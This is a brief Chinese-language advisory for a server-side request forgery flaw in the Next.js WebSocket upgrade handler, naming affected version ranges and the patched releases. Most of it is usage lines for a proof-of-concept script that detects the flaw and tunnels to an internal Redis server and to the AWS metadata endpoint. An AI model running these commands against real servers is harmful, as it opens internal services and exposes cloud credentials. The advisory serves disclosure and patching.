漏洞: Next.js WebSocket 升级处理程序中的服务器端请求伪造(13.4.13 → 15.5.15, 16.0.0 → 16.1.6)
# Detect vulnerability
python3 poc.py target.com:3000 --detect
# Tunnel to internal Redis
python3 poc.py target.com:3000 --internal 127.0.0.1:6379 --payload "INFO\r\n"
# Tunnel to AWS metadata
python3 poc.py target.com:3000 --internal 169.254.169.254:80 --payload "GET /latest/meta-data/ HTTP/1.0\r\n\r\n"
升级到 Next.js 15.5.16 或 16.2.5